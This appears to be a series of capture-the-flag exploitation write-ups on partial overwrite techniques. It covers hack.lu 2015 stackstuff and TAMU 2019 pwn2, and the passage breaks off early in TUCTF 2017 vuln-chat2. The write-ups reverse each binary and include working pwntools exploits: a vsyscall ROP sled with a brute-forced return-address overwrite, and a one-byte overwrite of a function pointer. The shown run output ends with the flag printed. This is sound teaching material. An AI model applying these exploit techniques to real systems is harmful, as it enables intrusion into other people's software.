stackstuff: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f46fbf9b159f6a1a31893faf7f771ca186a2ce8d, not stripped
$    pwn checksec stackstuff
[*] '/Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    /stackstuff
15935728

So we are dealing with a 64 bit binary, with NX and PIE. When we run it, it doesn't appear to do anything. However when we check netstat as we run it, we see that it binds to a port:

$    netstat -planet

.    .    .
 
tcp6       0      0 :::1514                 :::*                    LISTEN      1000       86812      5920/./stackstuff      

Reversing

When we take a look at the main function in Ghidra, we see this:


/* WARNING: Could not reconcile some variable overlaps */

undefined8 main(undefined8 uParm1,char **ppcParm2)

{
  uint16_t uVar1;
  int iVar2;
  uint uVar3;
  undefined4 local_3c;
  ulong local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined4 local_20;
  int local_14;
  int local_10;
  int local_c;
 
  iVar2 = strcmp(*ppcParm2,"reexec");
  if (iVar2 == 0) {
    handle_request();
  }
  else {
    uVar3 = socket(10,1,0);
    local_c = negchke((ulong)uVar3,"unable to create socket");
    local_30 = 0;
    local_28 = 0;
    local_20 = 0;
    local_38 = 10;
    uVar1 = htons(0x5ea);
    local_38._0_4_ = CONCAT22(uVar1,(sa_family_t)local_38);
    local_38 = local_38 & 0xffffffff00000000 | (ulong)(uint)local_38;
    local_3c = 1;
    uVar3 = setsockopt(local_c,1,2,&local_3c,4);
    negchke((ulong)uVar3,"unable to set SO_REUSEADDR");
    uVar3 = bind(local_c,(sockaddr *)&local_38,0x1c);
    negchke((ulong)uVar3,"unable to bind");
    uVar3 = listen(local_c,0x10);
    negchke((ulong)uVar3,"unable to listen");
    signal(0x11,(__sighandler_t)0x1);
    while( true ) {
      uVar3 = accept(local_c,(sockaddr *)0x0,(socklen_t *)0x0);
      local_10 = negchke((ulong)uVar3,"unable to accept");
      uVar3 = fork();
      local_14 = negchke((ulong)uVar3,"unable to fork");
      if (local_14 == 0) break;
      close(local_10);
    }
    close(local_c);
    uVar3 = dup2(local_10,0);
    negchke((ulong)uVar3,"unable to dup2");
    uVar3 = dup2(local_10,1);
    negchke((ulong)uVar3,"unable to dup2");
    close(local_10);
    uVar3 = execl("/proc/self/exe","reexec",0);
    negchke((ulong)uVar3,"unable to reexec");
  }
  return 0;
}

So we see here is where it handles the logic of listening on a port, and forking a child process to handle the request. We can see that handle_request is the function responsible for handling requests:

void handle_request(void)

{
  FILE *passwordHandle;
  char *passwordBytesRead;
  FILE *flagHandle;
  char *bytesRead;
  char flagContents [64];
  FILE *flagFile;
 
  alarm(0x3c);
  setbuf(stdout,(char *)0x0);
  passwordHandle = fopen("password","r");
  if (passwordHandle != (FILE *)0x0) {
    passwordBytesRead = fgets(real_password,0x32,passwordHandle);
    if (passwordBytesRead != (char *)0x0) {
      fclose(passwordHandle);
      puts("Hi! This is the flag download service.");
      require_auth();
      flagHandle = fopen("flag","r");
      if (flagHandle != (FILE *)0x0) {
        bytesRead = fgets(flagContents,0x32,flagHandle);
        if (bytesRead != (char *)0x0) {
          puts(flagContents);
          return;
        }
      }
      fwrite("unable to read flag\n",1,0x14,stderr);
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  }
  fwrite("unable to read real_password\n",1,0x1d,stderr);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

So we can see that it tries to open up the files password and flag (so we will need to make them and have them in the same directory as the elf). Proceeding that it runs the require_auth function, which does this:

void require_auth(void)

{
  int isPasswordCorrect;
 
  while( true ) {
    isPasswordCorrect = check_password_correct();
    if (isPasswordCorrect != 0) break;
    puts("bad password, try again");
  }
  return;
}

We can see that the require_auth function just runs an infinite loop, which checks to see if the output of check_password_correct is not equal to zero (which would signify we have the correct password). If we are the hit the part of handle_request that prints the flag, we have to break out of the loop. When we take a look at check_password_correct, we see this:


ulong check_password_correct(void)

{
  int iVar1;
  size_t bytesRead;
  long lVar2;
  undefined8 *puVar3;
  int passwordLength;
  undefined8 passwordInput [9];
 
  lVar2 = 6;
  puVar3 = passwordInput;
  while (lVar2 != 0) {
    lVar2 = lVar2 + -1;
    *puVar3 = 0;
    puVar3 = puVar3 + 1;
  }
  *(undefined2 *)puVar3 = 0;
  puts("To download the flag, you need to specify a password.");
  printf("Length of password: ");
  passwordLength = 0;
  iVar1 = __isoc99_scanf(&DAT_001013e3,&passwordLength);
  if (iVar1 != 1) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if ((passwordLength < 1) || (0x32 < passwordLength)) {
    passwordLength = 0x5a;
  }
  bytesRead = fread(passwordInput,1,(long)passwordLength,stdin);
  if (bytesRead != (long)passwordLength) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  iVar1 = strcmp((char *)passwordInput,real_password);
  return (ulong)(iVar1 == 0);
}

So we can see here, it essentially prompts us for a password length, then scans in that much data into passwordInput. We can see that this is clearly a buffer overflow bug. However there are a few obstacles we need to consider. First it checks to see if the bytes it scanned in is equal to the length we provided. In addition to that if the length we provide is less than 1 or greater than 0x32, our length is set to 0x5a. If it doesn't pass the length check the exit function is called and we don't get code execution.

Let's see what the distance is between the start of our input and the return address is. First we set the breakpoint and specify to follow the child process on fork in gdb:

gef➤  set follow-fork-mode child
gef➤  r
Starting program: /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
[Attaching after process 6338 fork to child process 6345]
[New inferior 2 (process 6345)]
[Detaching after fork from parent process 6338]
[Inferior 1 (process 6338) detached]
process 6345 is executing new program: /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
[Switching to process 6345]

Then we give our input via netcat:

$    nc 127.0.0.1 1514
Hi! This is the flag download service.
To download the flag, you need to specify a password.
Length of password: 8
15935728

And then we hit our breakpoint in gdb:

Thread 2.1 "exe" hit Breakpoint 1, 0x0000555555554f7e in check_password_correct ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x8               
$rbx   : 0x0               
$rcx   : 0x3832373533393531 ("15935728"?)
$rdx   : 0x8               
$rsp   : 0x00007fffffffde90  →  0x0000000000000000
$rbp   : 0x0000555555555310  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007ffff7fb3590  →  0x0000000000000000
$rdi   : 0x00007fffffffdea0  →  "15935728"
$rip   : 0x0000555555554f7e  →  <check_password_correct+172> mov rdx, rax
$r8    : 0xc00             
$r9    : 0x00007ffff7fb0a00  →  0x00000000fbad2088
$r10   : 0x3               
$r11   : 0x00007ffff7e4e8a0  →  <fread+0> push r14
$r12   : 0x0000555555554d70  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe090  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde90│+0x0000: 0x0000000000000000     ← $rsp
0x00007fffffffde98│+0x0008: 0x00000008f7e5c0f3
0x00007fffffffdea0│+0x0010: "15935728"     ← $rdi
0x00007fffffffdea8│+0x0018: 0x0000000000000000
0x00007fffffffdeb0│+0x0020: 0x0000000000000000
0x00007fffffffdeb8│+0x0028: 0x0000000000000000
0x00007fffffffdec0│+0x0030: 0x0000000000000000
0x00007fffffffdec8│+0x0038: 0x0000000000000000
──────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x555555554f70 <check_password_correct+158> adc    BYTE PTR [rsi+0x1], bh
   0x555555554f76 <check_password_correct+164> mov    rdi, rax
   0x555555554f79 <check_password_correct+167> call   0x555555554bd0 <fread@plt>
 → 0x555555554f7e <check_password_correct+172> mov    rdx, rax
   0x555555554f81 <check_password_correct+175> mov    eax, DWORD PTR [rsp+0xc]
   0x555555554f85 <check_password_correct+179> cdqe   
   0x555555554f87 <check_password_correct+181> cmp    rdx, rax
   0x555555554f8a <check_password_correct+184> je     0x555555554f96 <check_password_correct+196>
   0x555555554f8c <check_password_correct+186> mov    edi, 0x0
──────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "exe", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555554f7e → check_password_correct()
[#1] 0x555555554fd1 → require_auth()
[#2] 0x55555555508b → handle_request()
[#3] 0x55555555512d → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  i f
Stack level 0, frame at 0x7fffffffdef0:
 rip = 0x555555554f7e in check_password_correct; saved rip = 0x555555554fd1
 called by frame at 0x7fffffffdf00
 Arglist at 0x7fffffffde88, args:
 Locals at 0x7fffffffde88, Previous frame's sp is 0x7fffffffdef0
 Saved registers:
  rip at 0x7fffffffdee8
gef➤  search-pattern 15935728
[+] Searching '15935728' in memory
[+] In '[heap]'(0x555555756000-0x555555777000), permission=rw-
  0x555555756490 - 0x555555756498  →   "15935728"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffdea0 - 0x7fffffffdea8  →   "15935728"
gef➤  x/4g 0x7fffffffdee8
0x7fffffffdee8:    0x555555554fd1    0x0
0x7fffffffdef8:    0x55555555508b    0x2

So we can see that the offset is 0x7fffffffdee8 - 0x7fffffffdea0 = 0x48. Since this is above 0x32 and the length check, that means we have to give 0x5a bytes worth of input. That means with our overflow we will have to overwrite the saved return address, the next qword, and the two lowest bytes of the next address (in this case the address at 0x7fffffffdef8).

Exploitation

So for our exploit, we will be doing a partial overwrite. We will be doing this to bypass PIE's address randomization, however there will be abit of brute forcing needed (we will cover that later). However before we do that, we will be doing an overwrite of the saved return address and the QWORD next to it. For that we will need to find a valid instruction pointer to place there, which will essentially just return, and act as a placeholder to execute the address which we partially overwrote. However the problem with this is that PIE is enabled, and since we don't have any infoleaks we can't call rop gadgets from the PIE or libc segments. This is where vsyscalls will come in handy:

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
   0xffffffffff600800:    mov    rax,0x135
   0xffffffffff600807:    syscall
   0xffffffffff600809:    ret    
   0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
   0xffffffffff600800:    mov    rax,0x135
   0xffffffffff600807:    syscall
   0xffffffffff600809:    ret    
   0xffffffffff60080a:    int3

The purpose of vsyscalls is to increase performance by offloading certain syscalls to the userspace binary, however they are still a part of the kernel. The beneficial part of vsyscalls is that their addresses are fixed and aren't randomized. As a result, we don't need an infoleak to call them. For which one to call, I just went with 0xffffffffff600800. I initially tried jumping straight to a ret instruction, however it would crash after the second gadget. So I tried jumping to the start of a syscall and it worked. If we place that rop gadget twice as the saved return address and the next QWORD, that will bring the code execution right to the address we partially overwrote.

Now for the partial overwrite. We can see that the address that we are going to be overwritten is going to be 0x000055555555508b which is handle_request+177:

gef➤  x/4g 0x7fffffffdee8
0x7fffffffdee8:    0x0000555555554fd1    0x0000000000000000
0x7fffffffdef8:    0x000055555555508b    0x0000000000000002
gef➤  x/i 0x000055555555508b
   0x55555555508b <handle_request+177>:    lea    rsi,[rip+0x36d]        # 0x5555555553ff

Since if we were to reach that spot in the code we will get the flag, we will be overwriting it to be the same address. However there is one complication. That is that the base address is 0x0000555555554000. This means that the randomization doesn't apply to the last 12 bits (since they are zeroed out, and the address is the base address plus the offset, the address will just be whatever the offset is). However since we need to overwrite the 16 least significant bits, we will have to brute force 4 of those bits. Since 2 to the power of 4 is 16, we should be able to guess the address in at most 16 tries.

Also one small thing, while debugging this program, you may need to view the pid and kill it.

Exploit

Putting it all together, we have the following exploit:

from pwn import *

targetProcess = process('./stackstuff')
#gdb.attach(targetProcess)

# Initialize constants
flag = 0
i = 0x00

# Enter into the loop to brute force it
while flag == 0:

    # Establish the connection
    target = remote('127.0.0.1', 1514)

    # Filler from start of our input to return address
    payload = "0"*0x48

    # Our vsyscall gadget to act essentially as a rop nop
    vsyscall_ret = p64(0xffffffffff600800)

    payload += vsyscall_ret*2

    # Our least significant byte of our partial overwrite
    payload += "\x8b"

    # The byte which we will be brute forcing
    payload += chr(i)

    # Specify length of our input to be 90 bytes
    target.sendline('90')

    # Send the payload
    target.sendline(payload)

    target.recvuntil("Length of password: ")
    try:
        # Executes if we got the flag
        print "flag: " + target.recvline()
        flag = 1
    except:
        # Didn't get the flag, try next byte
        # Also we know that the lower 4 bits of this byte is 0x0
        print "tried: " + hex(i)
        i += 0x10

When we run it:

python exploit.py
[+] Starting local process './stackstuff': pid 13491
[+] Opening connection to 127.0.0.1 on port 1514: Done
tried: 0x0
[+] Opening connection to 127.0.0.1 on port 1514: Done
tried: 0x10
[+] Opening connection to 127.0.0.1 on port 1514: Done
tried: 0x20
[+] Opening connection to 127.0.0.1 on port 1514: Done
tried: 0x30
[+] Opening connection to 127.0.0.1 on port 1514: Done
tried: 0x40
[+] Opening connection to 127.0.0.1 on port 1514: Done
tried: 0x50
[+] Opening connection to 127.0.0.1 on port 1514: Done
flag: flag{g0ttem_b0yz}

[*] Closed connection to 127.0.0.1 port 1514
[*] Closed connection to 127.0.0.1 port 1514
[*] Closed connection to 127.0.0.1 port 1514
[*] Closed connection to 127.0.0.1 port 1514
[*] Closed connection to 127.0.0.1 port 1514
[*] Closed connection to 127.0.0.1 port 1514
[*] Closed connection to 127.0.0.1 port 1514
[*] Stopped process './stackstuff' (pid 13491)

Just like that, we got the flag!

tamu 2019 pwn2

The goal of this challenge is to get the challenge to print the contents of flag.txt, not popping a shell.

Let's take a look at the binary:

$    file pwn2
pwn2: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c3936da4c051f1ca58585ee8b243bc9c4a37e437, not stripped
$    pwn checksec pwn2
[*] '/Hackery/pod/modules/partial_overwrite/tamu19_pwn2/pwn2'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./pwn2
Which function would you like to call?
15935728

So we can see that we are dealing with a 32 bit binary, with Relro, NX, and PIE. When we run it, it prompts us for input.

Reversing

When we take a look at the main function in Ghidra, we see this:


/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

undefined4 main(void)

{
  char input [31];
 
  setvbuf(stdout,(char *)0x2,0,0);
  puts("Which function would you like to call?");
  gets(input);
  select_func(input);
  return 0;
}

So we can see that it calls gets to scan in data into input (so we have one buffer overflow bug there). Before returning it passes our input to the select_func function:


/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void select_func(char *param_1)

{
  int cmp;
  char input [30];
  undefined *functionCall;
 
  strncpy(input,param_1,0x1f);
  cmp = strcmp(input,"one");
  functionCall = two;
  if (cmp == 0) {
    functionCall = one;
  }
  (*(code *)functionCall)();
  return;
}

So we can see here, it makes an indirect call of the instruction pointer stored in functionCall. It is initialized to the function two, and if our input starts with one\x00 it will be changed to the address of the function one. The first 0x1f (31) bytes of our input passed in as an argument in copied to the char buffer input, which can only hold 30 bytes. This gives us a one byte overflow, which will allow us to overwrite the least significant byte of functionCall.

Also one other thing, a bit of the disassembly here is wrong. Specifically where functionCall is initialized to be the address of two. When we look at the assembly code, we see that it happens before the strncpy call:

        00010791 8d 83 f5        LEA        EAX,[0xffffe6f5 + EBX]=>two
                 e6 ff ff
        00010797 89 45 f4        MOV        dword ptr [EBP + functionCall],EAX=>two
        0001079a 83 ec 04        SUB        ESP,0x4
        0001079d 6a 1f           PUSH       0x1f
        0001079f ff 75 08        PUSH       dword ptr [EBP + param_1]
        000107a2 8d 45 d6        LEA        EAX=>input,[EBP + -0x2a]
        000107a5 50              PUSH       EAX
        000107a6 e8 a5 fd        CALL       strncpy                                          char * strncpy(char * __dest, ch
                 ff ff

Also we can see that if we can call the function print_flag at offset 0x6d8, we get the flag.


/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void print_flag(void)

{
  FILE *__fp;
  int iVar1;
 
  puts("This function is still under development.");
  __fp = fopen("flag.txt","r");
  while( true ) {
    iVar1 = _IO_getc((_IO_FILE *)__fp);
    if ((char)iVar1 == -1) break;
    putchar((int)(char)iVar1);
  }
  putchar(10);
  return;
}

Exploitation

So we have a one byte overflow for the least significant byte of the function pointer that is called. Let's take a closer look at the address we are calling, and the address of print_flag:

gef➤  pie b *0x7d4
gef➤  pie run
Stopped due to shared library event (no libraries added or removed)
Which function would you like to call?
1111111111111111111111111111111

Breakpoint 1, 0x565557d4 in select_func ()
[+] base address 0x56555000
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x56555631  →  <register_tm_clones+49> add BYTE PTR [eax], al
$ebx   : 0x56556fb8  →  0x00001ec0
$ecx   : 0x6f      
$edx   : 0xffffd09e  →  "1111111111111111111111111111111VUV"
$esp   : 0xffffd090  →  0x00000000
$ebp   : 0xffffd0c8  →  0xffffd108  →  0x00000000
$esi   : 0xf7fb5000  →  0x001dbd6c
$edi   : 0xf7fb5000  →  0x001dbd6c
$eip   : 0x565557d4  →  <select_func+85> call eax
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd090│+0x0000: 0x00000000     ← $esp
0xffffd094│+0x0004: 0x0000000a
0xffffd098│+0x0008: 0x00000026 ("&"?)
0xffffd09c│+0x000c: 0x3131de24
0xffffd0a0│+0x0010: "11111111111111111111111111111VUV"
0xffffd0a4│+0x0014: "1111111111111111111111111VUV"
0xffffd0a8│+0x0018: "111111111111111111111VUV"
0xffffd0ac│+0x001c: "11111111111111111VUV"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
   0x565557c3 <select_func+68> adc    BYTE PTR [ebp-0x72f68a40], al
   0x565557c9 <select_func+74> sbb    DWORD PTR [edi+eiz*8+0x4589ffff], 0xfffffff4
   0x565557d1 <select_func+82> mov    eax, DWORD PTR [ebp-0xc]
 → 0x565557d4 <select_func+85> call   eax
   0x565557d6 <select_func+87> nop    
   0x565557d7 <select_func+88> mov    ebx, DWORD PTR [ebp-0x4]
   0x565557da <select_func+91> leave  
   0x565557db <select_func+92> ret    
   0x565557dc <main+0>         lea    ecx, [esp+0x4]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x56555631 (
   [sp + 0x0] = 0x00000000,
   [sp + 0x4] = 0x0000000a,
   [sp + 0x8] = 0x00000026,
   [sp + 0xc] = 0x3131de24
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "pwn2", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x565557d4 → select_func()
[#1] 0x5655583d → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  p $eax
$1 = 0x56555631
gef➤  p two
$2 = {<text variable, no debug info>} 0x565556ad <two>
gef➤  p print_flag
$3 = {<text variable, no debug info>} 0x565556d8 <print_flag>
gef➤  vmmap
Start      End        Offset     Perm Path
0x56555000 0x56556000 0x00000000 r-x /Hackery/pod/modules/partial_overwrite/tamu19_pwn2/pwn2
0x56556000 0x56557000 0x00000000 r-- /Hackery/pod/modules/partial_overwrite/tamu19_pwn2/pwn2
0x56557000 0x56558000 0x00001000 rw- /Hackery/pod/modules/partial_overwrite/tamu19_pwn2/pwn2
0x56558000 0x5657a000 0x00000000 rw- [heap]
0xf7dd9000 0xf7df6000 0x00000000 r-- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7df6000 0xf7f46000 0x0001d000 r-x /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7f46000 0xf7fb2000 0x0016d000 r-- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb2000 0xf7fb3000 0x001d9000 --- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb3000 0xf7fb5000 0x001d9000 r-- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb5000 0xf7fb7000 0x001db000 rw- /usr/lib/i386-linux-gnu/libc-2.29.so
0xf7fb7000 0xf7fb9000 0x00000000 rw-
0xf7fce000 0xf7fd0000 0x00000000 rw-
0xf7fd0000 0xf7fd3000 0x00000000 r-- [vvar]
0xf7fd3000 0xf7fd4000 0x00000000 r-x [vdso]
0xf7fd4000 0xf7fd5000 0x00000000 r-- /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7fd5000 0xf7ff1000 0x00001000 r-x /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ff1000 0xf7ffb000 0x0001d000 r-- /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ffc000 0xf7ffd000 0x00027000 r-- /usr/lib/i386-linux-gnu/ld-2.29.so
0xf7ffd000 0xf7ffe000 0x00028000 rw- /usr/lib/i386-linux-gnu/ld-2.29.so
0xfffdd000 0xffffe000 0x00000000 rw- [stack]

So we can see that we were able to overwrite the least significant byte with 0x31. The address that it is initialized to is 0x565556ad, and the address we want to set it to is 0x565556d8 (for print_flag). The difference between these two is just the least significant byte. So we can just overwrite the least significant byte to be 0xd8, and that will call print_flag. We can see that the PIE base is 0x56555000, and since the least significant byte of the base is 0x00 PIE's randomization doesn't apply to the least significant byte (since 0x00 plus the least significant byte of the PIE offset is whatever the least significant byte of the offset is).

Exploit

Putting it all together, we have the following exploit:

from pwn import *

# Declare the target
target = process('./pwn2')
#gdb.attach(target, gdbscript='pie b *0x7bc')

# Make and send the payload
payload = "0"*0x1e + "\xd8"
target.sendline(payload)

target.interactive()

When we run it:

$    python exploit.py
[+] Starting local process './pwn2': pid 11453
[*] Switching to interactive mode
Which function would you like to call?
This function is still under development.
flag{g0ttem_b0yz}

[*] Got EOF while reading in interactive

Just like that, we got the flag!

Tuctf 2017 vuln chat 2

The goal for this challenge is to print the contents of flag.txt, not pop a shell.

Let's take a look at the binary:

$    file vuln-chat2.0
vuln-chat2.0: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=093fe7a291a796024f450a3081c4bda8a215e6e8, not stripped
$    pwn checksec vuln-chat2.0
[*] '/Hackery/pod/modules/partial_overwrite/tuctf17_vulnchat2/vuln-chat2.0'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$    ./vuln-chat2.0
----------- Welcome to vuln-chat2.0 -------------
Enter your username: guyinatuxedo
Welcome guyinatuxedo!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: You've proven yourself to me. What information do you need?
guyinatuxedo: 15935728
djinn: Alright here's you flag:
djinn: flag{1_l0v3_l337_73x7}
djinn: Wait thats not right...

So we can see we are dealing with a 32 bit binary, with a Non-Executable stack. When we run it, we see it first prompts us for a username. After that it prompts us for information we need. After that it prints a flag, but it isn't the one we need.

Reversing

When we look at the main function in Ghidra, we see this:

/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

undefined4 main(void)

{
  setvbuf(stdout,(char *)0x0,2,0x14);
  doThings();
  return 0;
}

So we can see here, it essentially just calls doThings:


/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

void doThings(void)

{
  undefined inp1 [20];
  undefined inp0 [15];
 
  puts("----------- Welcome to vuln-chat2.0 -------------");
  printf("Enter your username: ");
  __isoc99_scanf(&DAT_08048798,inp0);
  printf("Welcome %s!\n",inp0);
  puts("Connecting to \'djinn\'");
  sleep(1);
  puts("--- \'djinn\' has joined your chat ---");
  puts("djinn: You\'ve proven yourself to me. What information do you need?");
  printf("%s: ",inp0);
  read(0,inp1,0x2d);
  puts("djinn: Alright here\'s you flag:");
  puts("djinn: flag{1_l0v3_l337_73x7}");
  puts("djinn: Wait thats not right...");
  return;
}


We can see that the value of DAT_08048798 is %15s:

                             DAT_08048798                                    XREF[2]:     doThings:0804858f(*),
                                                                                          doThings:08048595(*)  
        08048798 25              ??         25h    %
        08048799 31              ??         31h    1
        0804879a 35              ??         35h    5
        0804879b 73              ??         73h    s
        0804879c 00              ??         00h

So we can see it essentially prompts us for input twice (in addition to printing out a lot of text). The first time it prompts us for input, it scans in 15 bytes worth of data into inp0, which holds 15 bytes worth of data (no overflow here). The second scan scans in 0x2d bytes worth of data into inp1 which holds 20 bytes of data, so we have an overflow. Let's see what the offset is from the start of our input to the saved return address is:

────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x1f      
$ebx   : 0x08049b08  →  0x08049a18  →  0x00000001
$ecx   : 0xf7fb7010  →  0x00000000
$edx   : 0x1f      
$esp   : 0xffffd0c0  →  0x08048870  →  "djinn: Wait thats not right..."
$ebp   : 0xffffd0ec  →  0xffffd0f8  →  0x00000000
$esi   : 0xf7fb5000  →  0x001dbd6c
$edi   : 0xf7fb5000  →  0x001dbd6c
$eip   : 0x08048635  →  <doThings+218> add esp, 0x4
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd0c0│+0x0000: 0x08048870  →  "djinn: Wait thats not right..."     ← $esp
0xffffd0c4│+0x0004: 0x393531f8
0xffffd0c8│+0x0008: 0x32373533
0xffffd0cc│+0x000c: 0xffff0a38  →  0x00000000
0xffffd0d0│+0x0010: 0x08049b08  →  0x08049a18  →  0x00000001
0xffffd0d4│+0x0014: 0xf7fb5000  →  0x001dbd6c
0xffffd0d8│+0x0018: 0x79756700
0xffffd0dc│+0x001c: "inatuxedo"
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048625 <doThings+202>   inc    DWORD PTR [ebx-0x7c72fb3c]
    0x804862b <doThings+208>   push   0x50ffffed
    0x8048630 <doThings+213>   call   0x8048400 <puts@plt>
 →  0x8048635 <doThings+218>   add    esp, 0x4
    0x8048638 <doThings+221>   mov    ebx, DWORD PTR [ebp-0x4]
    0x804863b <doThings+224>   leave  
    0x804863c <doThings+225>   ret    
    0x804863d <main+0>         push   ebp
    0x804863e <main+1>         mov    ebp, esp
